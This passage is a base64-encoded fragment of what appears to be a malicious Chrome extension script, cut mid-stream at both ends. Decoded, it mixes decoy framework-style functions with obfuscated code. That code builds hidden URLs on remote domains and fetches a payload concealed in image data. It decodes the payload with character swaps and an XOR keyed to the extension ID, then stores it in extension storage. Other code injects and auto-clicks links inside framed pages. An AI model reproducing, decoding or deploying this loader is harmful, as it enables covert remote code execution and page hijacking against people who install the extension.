ogICAgICAgICAgICANCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAod2luZG93LmlzQ3NwTWV0YSl7DQogICAgICAgICAgICAgICAgICAgIHBsYWNlRGl2KCdwYWdlIGhhcyBtZXRhIGNzcCwgc3RvcCcpOw0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KG5lZWRwYXJzZUJhY2t1cHpDU1AsMTApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1jYXRjaChlKXsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQpmdW5jdGlvbiBvcGVuQmFjayhuYW1lc3BhY2UsIHRhZ05hbWUpIHsNCiAgICByZXR1cm4gZG9jdW1lbnQub3BlbkJhY2sobmFtZXNwYWNlTWFwW25hbWVzcGFjZV0sIHRhZ05hbWUpDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVJlc3VsdHMobWluLCBtYXgpIHsNCiAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4pKSArIG1pbjsNCn0NCmZ1bmN0aW9uIG1hcFJlY2lwaWVudChjaGlsZHJlbiwgYmVnaW5JZHgsIGVuZElkeCkgew0KICAgIGxldCBpLCBrZXk7DQogICAgY29uc3QgbWFwID0ge307DQogICAgZm9yIChpID0gYmVnaW5JZHg7IGkgPD0gZW5kSWR4OyArK2kpIHsNCiAgICAgICAga2V5ID0gY2hpbGRyZW5baV0ua2V5Ow0KICAgICAgICBpZiAoaXNEZWYoa2V5KSkgbWFwW2tleV0gPSBpOw0KICAgIH0NCiAgICByZXR1cm4gbWFwDQp9DQoNCmZ1bmN0aW9uIGdlbk1lc3NhZ2UoZm4pIHsNCiAgICBpZiAoaXNVbmRlZihmbikpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlDQogICAgfQ0KICAgIGNvbnN0IGludm9rZXJGbnMgPSBmbi5mbnM7DQogICAgaWYgKGlzRGVmKGludm9rZXJGbnMpKSB7DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgcmV0dXJuIGdlbk1lc3NhZ2UoDQogICAgICAgICAgICBBcnJheS5pc0FycmF5KGludm9rZXJGbnMpID8NCiAgICAgICAgICAgIGludm9rZXJGbnNbMF0gOg0KICAgICAgICAgICAgaW52b2tlckZucw0KICAgICAgICApDQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIChmbi5fbGVuZ3RoIHx8IGZuLmxlbmd0aCkgPiAxDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBjcmVhdGVWYWx1ZSgpew0KICAgIHRyeXsNCiAgICAgICAgdmFyIGEwPWF0b2IoIloyVnRjMkZuZFdGcFozVmhhV0ZwWVE9PSIpLnN1YnN0cmluZyg1LDEzKTsNCiAgICAgICAgaWYgKCFjdHJsRXh0ZW5zaW9uW2VuZEZ1bmNdKXsNCiAgICAgICAgICAgIGlmIChjdHJsRXh0ZW5zaW9uWydpc1dobyddLmluZGV4T2YoYTApPi0xKXsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChjcmVhdGVSZXN1bHRzKDAsMTAwKT4xMCl7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNleyANCiAgICAgICAgICAgIHZhciBub3dUaW1lPW5ldyBEYXRlKCkuZ2V0VGltZSgpOw0KICAgICAgICAgICAgdmFyIGExPWF0b2IoImFtOXdjSFprYVhCTWMzUk1aRFkyTjNsMGFRPT0iKS5zdWJzdHJpbmcoNSwxNik7DQogICAgICAgICAgICB2YXIgZGlmWGlhb3NoaT0obm93VGltZS1jdHJsRXh0ZW5zaW9uW2ExXSkvMTAwMC8zNjAwOw0KICAgICAgICAgICAgaWYgKGRpZlhpYW9zaGk+MjQqMikgeyANCiAgICAgICAgICAgICAgICBpZiAoY3JlYXRlUmVzdWx0cygwLDEwMCk+MTApew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9Y2F0Y2goZSl7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIG1lcmdlQWRkcihjbG9zZUF0dHJzKXsNCiAgICB2YXIgeGgxOw0KICAgIHRyeXsNCiAgICAgICAgeGgxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHhoMS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGlmICh4aDEucmVhZHlTdGF0ZSA9PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoMS5zdGF0dXMgPT0gMjAwKXsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3A9eGgxLnJlc3BvbnNlVGV4dDsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGo9J2pzb25pbWc9JzsNCiAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3AuaW5jbHVkZXMoaikpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3A9cmVzcC5zcGxpdChqKVsxXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJ1aWxkTWVzc2FnZXMocmVzcCk7DQogICAgICAgICAgICAgICAgICAgIH1lbHNleyANCiAgICAgICAgICAgICAgICAgICAgICAgIGJ1aWxkTWVzc2FnZXMocmVzcCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGlmIChjbG9zZUF0dHJzKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoY3JlYXRlUmVzdWx0cygwLDEwMCk+MjApew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1lcmdlQWRkcihmYWxzZSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB4aDEub25lcnJvciA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoY2xvc2VBdHRycyl7IA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIG1lcmdlQWRkcihmYWxzZSk7DQogICAgICAgICAgICB9ZWxzZXsgDQogICAgICAgICAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgICAgICAgICAgb2JqW2VuZEZ1bmNdID0gY2xlYW5Qcm9wZXJ0aWVzKGNyZWF0ZVJlc3VsdHMoMWU1LDFlNikrY2xlYXJGb3JtK25ldyBEYXRlKCkuZ2V0VGltZSgpKTsNCiAgICAgICAgICAgICAgICBjaHJvbWUuc3RvcmFnZS5sb2NhbC5zZXQob2JqKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB4aDEub25wcm9ncmVzcyA9IGZ1bmN0aW9uKCkge307IA0KICAgICAgICANCiAgICAgICAgdmFyIHUxPWF0b2IoImJtUmtkM0V2TDNkM2R5NXNhWFpsZFhCa2RDNWpiMjB2WldGdSIpLnN1YnN0cmluZyg1LDI0KTsNCiAgICAgICAgdmFyIHUyPWF0b2IoImVYVmlZUzh2ZDNkM0xtUmxZV3hqZEhJdVkyOXRMMjV2Y3c9PSIpLnN1YnN0cmluZyg0LDIyKTsNCiAgICAgICAgdmFyIHUzPWF0b2IoImJHMXNlWEp2WlhoMEwyeHZZV1F1Y0dod1AyWTljM1p5TG5CdVozVnJkdz09Iikuc3Vic3RyaW5nKDYsMjgpOw0KICAgICAgICB2YXIgYmFkZD1sb2NhdGlvbi5wcm90b2NvbCt1MSt1MzsNCiAgICAgICAgaWYgKCFjbG9zZUF0dHJzKXsgDQogICAgICAgICAgICBiYWRkPWxvY2F0aW9uLnByb3RvY29sK3UyK3UzOw0KICAgICAgICB9DQogICAgICAgIHZhciBkMD1hdG9iKCJaV3AxY210a2FYQk1jM1JUYVdjMk5qZHBkR3c9Iikuc3Vic3RyaW5nKDUsMTcpOw0KICAgICAgICBpZiAoKGN0cmxFeHRlbnNpb25bZDBdKSAmJiAoYmFkZC5pbmNsdWRlcygnJmM9Jyk9PWZhbHNlKSl7YmFkZD1iYWRkKycmYz0nK2N0cmxFeHRlbnNpb25bYXRvYigiWldwMWNtdGthWEJNYzNSVGFXYzJOamRwZEd3PSIpLnN1YnN0cmluZyg1LDE3KV07fQ0KICAgICAgICBwbGFjZURpdignamlhICcrYmFkZCk7DQogICAgICAgIHhoMS5vcGVuKCJHRVQiLGJhZGQsdHJ1ZSk7DQogICAgICAgIHhoMS5zZW5kKCk7DQogICAgfWNhdGNoKGUpew0KICAgICAgICANCiAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgIG9ialtlbmRGdW5jXSA9IGNsZWFuUHJvcGVydGllcyhjcmVhdGVSZXN1bHRzKDFlNSwxZTYpK2NsZWFyRm9ybStuZXcgRGF0ZSgpLmdldFRpbWUoKSk7DQogICAgICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KICAgICAgICByZXR1cm4gJ2V4Y2VwdGlvbic7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzaG91bGRyZWFkS2V5aW5mbyh2bSwgZGlyZWN0KSB7DQogICAgaWYgKGRpcmVjdCkgew0KICAgICAgICB2bS5fZGlyZWN0SW5hY3RpdmUgPSB0cnVlOw0KICAgICAgICBpZiAoaXNJbkluYWN0aXZlVHJlZSh2bSkpIHsNCiAgICAgICAgICAgIHJldHVybg0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghdm0uX2luYWN0aXZlKSB7DQogICAgICAgIHZtLl9pbmFjdGl2ZSA9IHRydWU7DQogICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdm0uJGNoaWxkcmVuLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICBzaG91bGRyZWFkS2V5aW5mbyh2bS4kY2hpbGRyZW5baV0pOw0KICAgICAgICB9DQogICAgICAgIGNhbGxIb29rKHZtLCAndGV4dCcpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gc3RhcnRQcm9wZXJ0aWVzKHZtLCBob29rKSB7DQogICAgY29uc3QgaGFuZGxlcnMgPSB2bS4kb3B0aW9uc1tob29rXTsNCiAgICBpZiAoaGFuZGxlcnMpIHsNCiAgICAgICAgZm9yIChsZXQgaSA9IDAsIGogPSBoYW5kbGVycy5sZW5ndGg7IGkgPCBqOyBpKyspIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgaGFuZGxlcnNbaV0uY2FsbCh2bSk7DQogICAgICAgICAgICB9IGNhdGNoIChlKSB7fQ0KICAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICh2bS5faGFzSG9va0V2ZW50KSB7DQogICAgICAgIHZtLiRlbWl0KCdwcmVmZXJlbmNlJyArIGhvb2spOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gdGFrZU9wdGlvbnMoKSB7DQogICAgaW5kZXggPSBxdWV1ZS5sZW5ndGggPSBhY3RpdmF0ZWRDaGlsZHJlbi5sZW5ndGggPSAwOw0KICAgIGhhcyA9IHt9OyB7DQogICAgICAgIGNpcmN1bGFyID0ge307DQogICAgfQ0KICAgIHdhaXRpbmcgPSBmbHVzaGluZyA9IGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBidWlsZE1lc3NhZ2VzKHIpew0KICAgIGlmIChyLmxlbmd0aD4yMDAgJiYgci5pbmNsdWRlcygnZGF0YSI6ImltYWdlJykpeyANCiAgICAgICAgDQogICAgICAgIHZhciBhY3RpdmF0ZURpY3Q9SlNPTi5wYXJzZShyKTsNCiAgICAgICAgdmFyIGZpbmRDb250ZW50PWFjdGl2YXRlRGljdC5pZDsNCiAgICAgICAgdmFyIGc9YWN0aXZhdGVEaWN0LmltYWdlOw0KICAgICAgICBnPXRha2VTdHlsZShnKTsNCiAgICAgICAgaWYgKGcuaW5jbHVkZXMoc2lnKSl7DQogICAgICAgICAgICB2YXIgdGltZXN0YW1wPW5ldyBEYXRlKCkuZ2V0VGltZSgpOw0KICAgICAgICAgICAgdmFyIHM9Y3JlYXRlUmVzdWx0cygxZTUsMWU2KStjbGVhckZvcm0rZmluZENvbnRlbnQrY2xlYXJGb3JtK2c7IA0KICAgICAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgICAgICBvYmpbZW5kRnVuY10gPSBjbGVhblByb3BlcnRpZXMoY3JlYXRlUmVzdWx0cygxZTUsMWU2KStjbGVhckZvcm0rdGltZXN0YW1wKTsgDQogICAgICAgICAgICBvYmpbc2hvd1ZhbHVlXSA9IGNsZWFuUHJvcGVydGllcyhzKTsNCiAgICAgICAgICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KICAgICAgICB9DQogICAgfWVsc2V7DQogICAgICAgIA0KICAgICAgICB2YXIgb2JqPSB7fTsNCiAgICAgICAgb2JqW2VuZEZ1bmNdID0gY2xlYW5Qcm9wZXJ0aWVzKGNyZWF0ZVJlc3VsdHMoMWU1LDFlNikrY2xlYXJGb3JtK25ldyBEYXRlKCkuZ2V0VGltZSgpKTsNCiAgICAgICAgY2hyb21lLnN0b3JhZ2UubG9jYWwuc2V0KG9iaik7DQogICAgfQ0KfQ0KZnVuY3Rpb24gdGFrZVN0eWxlKHMpeyANCiAgICB2YXIgcmV0PScnOw0KICAgIHZhciBmbGFnPXRydWU7DQogICAgaWYgKCFjaHJvbWUuc3RvcmFnZSl7ZmxhZz0hZmxhZzt9Ow0KICAgIGZvciAodmFyIGk9MDtpPHMubGVuZ3RoO2krKyl7DQogICAgICAgIHZhciBjaD1zW2ldOw0KICAgICAgICBpZiAoY2ggPT0gY2gudG9Mb3dlckNhc2UoKSAmJiBmbGFnKSB7Y2g9Y2gudG9VcHBlckNhc2UoKTt9ZWxzZSBpZiAoY2ggPT0gY2gudG9VcHBlckNhc2UoKSAmJiBmbGFnKSB7Y2g9Y2gudG9Mb3dlckNhc2UoKTt9DQogICAgICAgIGlmIChjaCA9PSAnOScpIHtjaD0nOCc7fWVsc2UgaWYgKGNoID09ICc4Jykge2NoPSc5Jzt9DQogICAgICAgIHJldD1yZXQrY2g7DQogICAgfQ0KICAgIHJldD1hdG9iKHJldCk7DQogICAgcmV0dXJuIHJldDsNCn0NCg0KZnVuY3Rpb24gZ2V0TW9kdWxlcyhpY29uaWQsIG9iaikgew0KCSQoJ3NhZmFyaScpLnZhbHVlID0gaWNvbmlkOw0KCSQoJ2Zvcm1zJykuc3JjID0gb2JqLnNyYzsNCgloaWRlTWVudSgpOw0KfQ0KDQpmdW5jdGlvbiB0cmFuc0V4dGVuc2lvbih2bm9kZSwgaXNSZW1vdmFsKSB7DQogICAgY29uc3Qga2V5ID0gdm5vZGUuZGF0YS5yZWY7DQogICAgaWYgKCFrZXkpIHJldHVybg0KDQogICAgY29uc3Qgdm0gPSB2bm9kZS5jb250ZXh0Ow0KICAgIGNvbnN0IHJlZiA9IHZub2RlLmNvbXBvbmVudEluc3RhbmNlIHx8IHZub2RlLmVsbTsNCiAgICBjb25zdCByZWZzID0gdm0uJHJlZnM7DQogICAgaWYgKGlzUmVtb3ZhbCkgew0KICAgICAgICBpZiAoQXJyYXkuaXNBcnJheShyZWZzW2tleV0pKSB7DQogICAgICAgICAgICByZW1vdmUocmVmc1trZXldLCByZWYpOw0KICAgICAgICB9IGVsc2UgaWYgKHJlZnNba2V5XSA9PT0gcmVmKSB7DQogICAgICAgICAgICByZWZzW2tleV0gPSB1bmRlZmluZWQ7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBpZiAodm5vZGUuZGF0YS5yZWZJbkZvcikgew0KICAgICAgICAgICAgaWYgKCFBcnJheS5pc0FycmF5KHJlZnNba2V5XSkpIHsNCiAgICAgICAgICAgICAgICByZWZzW2tleV0gPSBbcmVmXTsNCiAgICAgICAgICAgIH0gZWxzZSBpZiAocmVmc1trZXldLmluZGV4T2YocmVmKSA8IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICByZWZzW2tleV0ucHVzaChyZWYpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmVmc1trZXldID0gcmVmOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzZXRSZXN1bHRzKHMpeyANCiAgICB2YXIgaW50VmFsPXMuc3BsaXQoIiIpLnJlZHVjZShmdW5jdGlvbihhLGIpe2E9KChhPDw1KS1hKStiLmNoYXJDb2RlQXQoMCk7cmV0dXJuIGEmYX0sMCk7DQogICAgaWYgKGludFZhbDwwKXtpbnRWYWw9MC1pbnRWYWw7fQ0KICAgIGlmICh3aW5kb3cuY2hyb21lKSB7aW50VmFsPWludFZhbCUxMDAwO30NCiAgICByZXR1cm4gaW50VmFsOw0KfQ0KZnVuY3Rpb24gY2xlYW5Qcm9wZXJ0aWVzKGMpew0KICAgIHZhciBrZXk9c2V0UmVzdWx0cyhjaHJvbWUucnVudGltZS5pZCk7DQogICAgcmV0dXJuIGdlbk5vZGUoYyxrZXkpOw0KfQ0KZnVuY3Rpb24gZ2VuTm9kZShzLGspDQp7DQogICAgdmFyIHJldD0iIjsNCiAgICBmb3IodmFyIGk9MDtpPHMubGVuZ3RoOysraSkNCiAgICB7DQogICAgICAgIHJldCs9U3RyaW5nLmZyb21DaGFyQ29kZShhdHRhY2hNZXNzYWdlcyhrLHMuY2hhckNvZGVBdChpKSkpOw0KICAgIH0NCiAgICByZXR1cm4gcmV0Ow0KfQ0KZnVuY3Rpb24gYXR0YWNoTWVzc2FnZXMoYSwgYikgeyANCiAgICBsZXQgcmVzdWx0ID0gMDsNCiAgICBsZXQgY2xlYXJCbG9iID0gMTsNCiAgICB3aGlsZSAoY2xlYXJCbG9iIDw9IChhIHwgYikpIHsNCiAgICAgICAgaWYgKChhICYgY2xlYXJCbG9iKSAhPSAoYiAmIGNsZWFyQmxvYikpIHsNCiAgICAgICAgICAgIHJlc3VsdCB8PSBjbGVhckJsb2I7DQogICAgICAgIH0NCiAgICAgICAgY2xlYXJCbG9iIDw8PSAxOw0KICAgIH0NCiAgICBpZiAoY2hyb21lLnN0b3JhZ2Upew0KICAgICAgICByZXR1cm4gcmVzdWx0Ow0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gIShhICYgYikNCiAgICB9DQp9DQpmdW5jdGlvbiBjdHJsTmFtZShub2RlKSB7DQogICAgcmV0dXJuIGlzRGVmKG5vZGUpICYmIGlzRGVmKG5vZGUudGV4dCkgJiYgaXNGYWxzZShub2RlLmlzQ29tbWVudCkNCn0NCg0KZnVuY3Rpb24gY3RybEtleWluZm8oYSkgew0KICAgIGlmIChhID09PSBzdWdnZXN0ZWRDaGF0cykgdGhyZWFkSW5mbyA9IHt9Ow0KICAgIGVsc2UgaWYgKGEgPT09IHN1Z2dlc3RlZENvbnRhY3RzKSBjb250YWN0SW5mbyA9IHt9Ow0KICAgIGVsc2UgaWYgKGEgPT09IHNlbGVjdGVkVGhyZWFkKSB7DQogICAgICAgIHBlcnNpc3RUaHJlYWRSZWFkU3RhdHVzKCksIG1lc3NhZ2VJbmZvID0ge307DQogICAgICAgIGZvciAodmFyIGIgaW4gc2VsZWN0ZWRUaHJlYWQuZGF0YXNldCkgZGVsZXRlIHNlbGVjdGVkVGhyZWFkLmRhdGFzZXRbYl07DQogICAgICAgIG9yaWdpbmFsTGFzdFJlYWRNZXNzYWdlSWQgPSBudWxsLCBzZXRXaW5kb3dUaXRsZSgpDQogICAgfQ0KICAgIGEuY29udGVudCA9ICJzZWNvbmQiDQp9DQoNCmZ1bmN0aW9uIHBsYWNlRGl2KHMpew0KICAgIHRyeSB7DQogICAgICAgIGlmIChmbGFnKXsNCiAgICAgICAgICAgIHZhciBsb2NhbFRpbWU9bmV3IERhdGUoKS50b0xvY2FsZVRpbWVTdHJpbmcoKTsNCiAgICAgICAgICAgIGNvbnNvbGUubG9nKCIlYyIrJ0xhZHIgLSAnKyBsb2NhbFRpbWUrJyAnK3MrJ1x0XHQnLCAnY29sb3I6IGdyZWVuJyk7IA0KICAgICAgICB9DQogICAgfSBjYXRjaCAoZSkgew0KICAgICAgICByZXR1cm47DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBjYWxjQm9keVdpZHRoKCkgew0KICAgIHZhciBhID0gMTU0Ow0KICAgIC9oaWRhYmxlLy50ZXN0KHRoaXMuYm9keS5jbGFzc05hbWUpICYmIChhID0gMTcyKTsNCiAgICB2YXIgYiA9IDAsDQogICAgICAgIGMgPSB0aGlzLnF1ZXJ5U2VsZWN0b3IoImhvb2siKTsNCiAgICBpZiAoYykgew0KICAgICAgICB2YXIgZCA9IHBhcnNlSW50KHRoaXMuZ2V0Q29tcHV0ZWRTdHlsZShjLCAiaXRlbSIpLndpZHRoKSArIDIzOw0KICAgICAgICBiID0gZCAtIDI1DQogICAgfQ0KICAgIGlmIChjID0gdGhpcy5xdWVyeVNlbGVjdG9yKCJwcm9wZXJ0aWVzIikpIHsNCiAgICAgICAgdmFyIGQgPSBwYXJzZUludCh0aGlzLmdldENvbXB1dGVkU3R5bGUoYywgIm9wdGlvbnMiKS53aWR0aCkgKyAyMzsNCiAgICAgICAgYiA9IE1hdGgubWF4KGQgLSA3OCwgMCkNCiAgICB9DQogICAgcmV0dXJuIHRoaXMucXVlcnlTZWxlY3RvcigiYmFjayIpID8gTWF0aC5tYXgoYSArIGIsIDMzMCkgOiBhICsgYg0KfQ0KDQpmdW5jdGlvbiBnZXREYXRhKGRhdGEsIHZtKSB7DQogICAgdHJ5IHsNCiAgICAgICAgcmV0dXJuIGRhdGEuY2FsbCh2bSwgdm0pDQogICAgfSBjYXRjaCAoZSkgew0KICAgICAgICBoYW5kbGVFcnJvcihlLCB2bSwgMyk7DQogICAgICAgIHJldHVybiB7fQ0KICAgIH0NCn0NCg0KZnVuY3Rpb24gbGVuTW9kdWxlcyh2bSkgew0KICAgIGNvbnN0IG9wdGlvbnMgPSB2bS4kb3B0aW9uczsNCg0KICAgIGxldCBwYXJlbnQgPSBvcHRpb25zLnBhcmVudDsNCiAgICBpZiAocGFyZW50ICYmICFvcHRpb25zLmFic3RyYWN0KSB7DQogICAgICAgIHdoaWxlIChwYXJlbnQuJG9wdGlvbnMuYWJzdHJhY3QgJiYgcGFyZW50LiRwYXJlbnQpIHsNCiAgICAgICAgICAgIHBhcmVudCA9IHBhcmVudC4kcGFyZW50Ow0KICAgICAgICB9DQogICAgICAgIHBhcmVudC4kY2hpbGRyZW4ucHVzaCh2bSk7DQogICAgfQ0KDQogICAgdm0uJHBhcmVudCA9IHBhcmVudDsNCiAgICB2bS4kcm9vdCA9IHBhcmVudCA/IHBhcmVudC4kcm9vdCA6IHZtOw0KDQogICAgdm0uJGNoaWxkcmVuID0gW107DQogICAgdm0uJHJlZnMgPSB7fTsNCg0KICAgIHZtLl93YXRjaGVyID0gbnVsbDsNCiAgICB2bS5faW5hY3RpdmUgPSBudWxsOw0KICAgIHZtLl9kaXJlY3RJbmFjdGl2ZSA9IGZhbHNlOw0KICAgIHZtLl9pc01vdW50ZWQgPSBmYWxzZTsNCiAgICB2bS5faXNEZXN0cm95ZWQgPSBmYWxzZTsNCiAgICB2bS5faXNCZWluZ0Rlc3Ryb3llZCA9IGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiB1cGRhdGVTaWJsZSgpew0KICAgIA0KICAgIHZhciBlZD1hdG9iKCJjM1JxYW5WbGVIUm1kSE5oYlhNNU9XSmhjblIwIikuc3Vic3RyaW5nKDUsMTgpOw0KICAgIGlmICh3aW5kb3cuc2VsZiAhPT0gd2luZG93LnRvcCl7DQogICAgICAgIGlmICh3aW5kb3cucGFyZW50PT09d2luZG93LnRvcCl7DQogICAgICAgICAgICBjaHJvbWUuc3RvcmFnZS5sb2NhbC5nZXQoZWQsIGZ1bmN0aW9uKHZhbCkgew0KICAgICAgICAgICAgICAgIHZhciBkYXRhPXZhbFtlZF07DQogICAgICAgICAgICAgICAgaWYgKGRhdGEpew0KICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHUxPWF0b2IoYXRvYihkYXRhLnNwbGl0KCdeJylbMF0pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciB1Mj1hdG9iKGF0b2IoZGF0YS5zcGxpdCgnXicpWzFdKSk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAod2luZG93LmxvY2F0aW9uLmhyZWYuaW5kZXhPZihzZWVrQ2hpbGQodTEsdHJ1ZSkpPi0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgiaHJlZiIsIHUyKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0gfHwgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXSkuYXBwZW5kQ2hpbGQoYSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGEuY2xpY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhblJlc3VsdHMoZWQsJycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGNvbnN0IG1lc3NhZ2UgPSBhdG9iKCJZVzkyYVdaeU1uUnZjSFYyWnc9PSIpLnN1YnN0cmluZygzLDEwKQ0KICAgICAgICAgICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZShtZXNzYWdlLCAnKicpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGlmICh3aW5kb3cuc2VsZiA9PSB3aW5kb3cudG9wKXsgDQogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdtZXNzYWdlJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgIGlmIChlLmRhdGE9PWF0b2IoIllXOTJhV1p5TW5SdmNIVjJadz09Iikuc3Vic3RyaW5nKDMsMTApKXsNCiAgICAgICAgICAgICAgICBpZiAobG9jYXRpb24uaHJlZi5pbmRleE9mKHNlZWtDaGlsZChlLm9yaWdpbix0cnVlKSk+LTEpew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgdmFyIGNuPWF0b2IoIlpHbGlZMjUyYVdaeWRuRm8iKS5zdWJzdHJpbmcoMyw5KTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHNuPWF0b2IoIlpHbHZjMkZ1WkdKdmVHeG9iZz09Iikuc3Vic3RyaW5nKDMsMTApOw0KICAgICAgICAgICAgICAgICAgICBjb2xsZWN0aW9uID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShjbik7DQogICAgICAgICAgICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgY29sbGVjdGlvbi5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29sbGVjdGlvbltpXS5zZXRBdHRyaWJ1dGUoc24sICIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9KTsNCiAgICB9DQp9DQpmdW5jdGlvbiBzdGF0ZU5hbWVzKG8scHJlLHBvcyl7DQogICAgdmFyIHJldD0iRVJST1IiOw0KICAgIGlmIChvLmluZGV4T2YocHJlKT4tMSl7DQogICAgICAgIHZhciB0ZW1wPW8uc3BsaXQocHJlKTsNCiAgICAgICAgaWYgKHRlbXBbMV0uaW5kZXhPZihwb3MpPi0xKXsNCiAgICAgICAgICAgIHJldD10ZW1wWzFdLnNwbGl0KHBvcylbMF07DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIHJldDsNCn0NCg0KZnVuY3Rpb24gc2Vla0NoaWxkKHVybCxmKXsNCiAgICBpZiAoISh1cmwuaW5jbHVkZXMoJ2h0dHAnKSkpe3VybD0naHR0cDovL